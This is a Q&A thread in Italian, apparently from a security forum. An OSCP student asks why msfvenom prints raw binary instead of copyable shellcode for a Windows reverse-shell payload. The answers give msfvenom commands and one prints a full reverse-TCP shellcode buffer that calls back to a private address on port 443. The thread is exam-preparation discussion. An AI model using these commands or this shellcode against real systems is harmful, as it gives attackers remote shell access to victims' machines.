MSFvenom non genera correttamente l'output di shellcode raw

2

Sto facendo parte della sezione Exploitation del buffer di Windows del corso OSCP e l'autore usa una combinazione di msfpayload e msfencode per generare un payload windows/shell_reverse_tcp codificato con shikata ga nai. Questo è il comando che usa:

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 R | msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai

Il terminale visualizza il seguente output del codice shell codificato:

x86/shikata_ga_nai succeeded with size 351 (iteration=1)
buf = 
"\xda\xc1\xba\x9d\x4a\x66\xd4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x52\x83\xeb\xfc\x31\x53\x13\x03\xce\x59\x84\x21\x0c" +
"\xb5\xca\xca\xec\x46\xab\x43\x09\x77\xeb\x30\x5a\x28\xdb" +
…………
…………
"\x76"

Posso quindi copiare lo shellcode generato nel mio script Python e continuare con il processo di sfruttamento di un'applicazione.

So che sia msfpayload che msfencode sono deprecati e MSFvenom dovrebbe essere usato al suo posto. Questo è il comando che sto usando per ottenere lo stesso risultato di cui sopra.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f raw

Questo è l'output che prendo nel terminale:

���t$����9�X3ɱR1P ��� ���'� �� �� ��>pwZ�WdV��E�Y�V��L��ή�( �!T��� ] ^��~����.����cPN�'] bR)����0� !H̥�?$�g8����7uî����QfΡd�e��J�W�hm3m 4��-&B��-o��l� ��ʗ7ig_�n�Jf�wu�)�!�A J���� �4p��� ���¬���7G¬��0¬A�B¬D
……
�� �N&�

Come puoi vedere, non ricevo l'output effettivo dello shellcode. Che cosa sto facendo di sbagliato? Vorrei che MSFvenom producesse lo shellcode che posso copiare sul mio script Python.

    
posta Alex 02.09.2015 - 18:20
fonte

2 risposte

6

Stai usando un interruttore sbagliato. Questo dovrebbe funzionare, provato e testato durante l'addestramento OSCP:

root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.51 LPORT=443 -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x0c\x33\x68"
"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
root@kali:~# 
    
risposta data 04.11.2015 - 09:59
fonte
0

Sembra che manchi una bandiera "-i". Questo flag indica all'encoder quante volte deve essere eseguito. Non sono sicuro se è necessario o la fonte per il tuo problema, ma potrebbe essere. Inoltre: mi piace sempre mostrare lo shellcode in py con "-f py" e in un file in modo da poter rimuovere "buf +=" con find e replace. Mi piace anche aggiungere un flag "-a (x86 o x64)" e "--platform (windows)" solo per la strana possibilità che qualcosa possa andare storto senza questi.

    
risposta data 11.11.2018 - 13:41
fonte

Leggi altre domande sui tag